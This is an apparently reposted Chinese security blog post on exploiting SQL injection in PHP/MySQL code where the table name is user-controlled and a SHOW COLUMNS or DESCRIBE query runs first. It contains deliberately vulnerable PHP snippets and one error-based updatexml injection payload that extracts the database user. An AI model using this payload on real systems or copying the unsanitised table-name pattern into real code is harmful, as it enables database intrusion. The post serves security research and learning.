1. 程式人生 > >當表名可控的註入遇到了Describe時的幾種情況。

當表名可控的註入遇到了Describe時的幾種情況。

影響 bold 求學 ide 構造 完全 card 別名 pre

轉自:http://www.yulegeyu.com/2017/04/16/%E5%BD%93%E8%A1%A8%E5%90%8D%E5%8F%AF%E6%8E%A7%E7%9A%84%E6%B3%A8%E5%85%A5%E9%81%87%E5%88%B0%E4%BA%86Describe%E6%97%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%83%85%E5%86%B5%E3%80%82/

SHOW COLUMNS

之前小嘎嘎遇到了個註入是表前綴不可控,表名可控的註入,
但是在表名進入的select語句執行之前, 執行了一次SHOW COLUMNS FROM $TABLE。
如果SHOW COLUMNS語句執行出錯了的話,
就不會再執行後面的SELECT語句。大概代碼如:

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET[‘table‘];
mysql_query("show columns from `shop_{$table}`") or die("show coulumns 出錯:".mysql_error());
$sql = "select * from `shop_{$table}` where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql"))); echo mysql_error();

要解這個, 首先來看一下 SHOW COLUMNS Syntax

SHOW [FULL] COLUMNS {FROM | IN} tbl_name [{FROM | IN} db_name]
    [LIKE ‘pattern‘ | WHERE expr]

看到where 後面可以跟expr, 就很簡單了。技術分享

解決了這個, 讓我想起了我好多年前遇到的另外一種, 他不是用的show columns 而是用的describe, 當年的我沒解決掉, 所以又再去看了一眼,試試能不能解決掉。 DESC這種分為幾種情況。

DESCRIBE

雖然說的是 DESCRIBE 是 SHOW COLUMNS 的shortcut,但是其實兩個語法完全不同。。

0x01 表名完全可控且無identifier quote。

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET[‘table‘];
mysql_query("desc $table") or die("DESC 出錯:".mysql_error());
$sql = "select * from {$table} where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

這種的,應該實例特別少。
利用比較簡單, 根據文檔寫的構造一下, 直接利用desc 來註入。
技術分享

0x02 表名不完全可控且DESC和SELECT的表名都含有identifier quote

一般都是遇到的這種註入,會有表前綴是不可控的。

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET[‘table‘];
mysql_query("desc `shop_{$table}`") or die("DESC 出錯:".mysql_error());
$sql = "select * from `shop_{$table}` where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

這種想了很久, 我感覺是無解, 如果有大佬能搞定的話, 求學習。

0x03 表名不完全可控且DESC和SELECT的表名都不含有identifier quote

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET[‘table‘];
mysql_query("desc shop_{$table}") or die("DESC 出錯:".mysql_error());
$sql = "select * from shop_{$table} where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

自我感覺,依舊無解。

0x04 表名不完全可控且DESC的表名含有identifier quote,SELECT的表名不含identifier quote

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET[‘table‘];
mysql_query("desc `shop_{$table}`") or die("DESC 出錯:".mysql_error());
$sql = "select * from shop_{$table} where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

可解,
技術分享

shop_users 後面的兩個``,做了shop_users 表的別名,所以無影響。
這時候desc的語句為,

desc `shop_users` `where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)#`

看一下DESC的Syntax

DESC tbl_name [col_name | wild]

可以看到表名後面可以接col_name 或者 wild
為什麽表名後面接了where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)# 卻沒有報unknown column,
感覺是因為這個應該是按照wild來執行的,

wild, if given, is a pattern string. It can contain the SQL % and _ wildcard characters.

所以不會報unknown column。

0x05 表名不完全可控且DESC的表名不含identifier quote,SELECT的表名含有identifier quote

跟上面一個利用差不多,稍微改一下。

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET[‘table‘];
mysql_query("desc shop_{$table}") or die("DESC 出錯:".mysql_error());
$sql = "select * from `shop_{$table}` where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

技術分享

# Web

當表名可控的註入遇到了Describe時的幾種情況。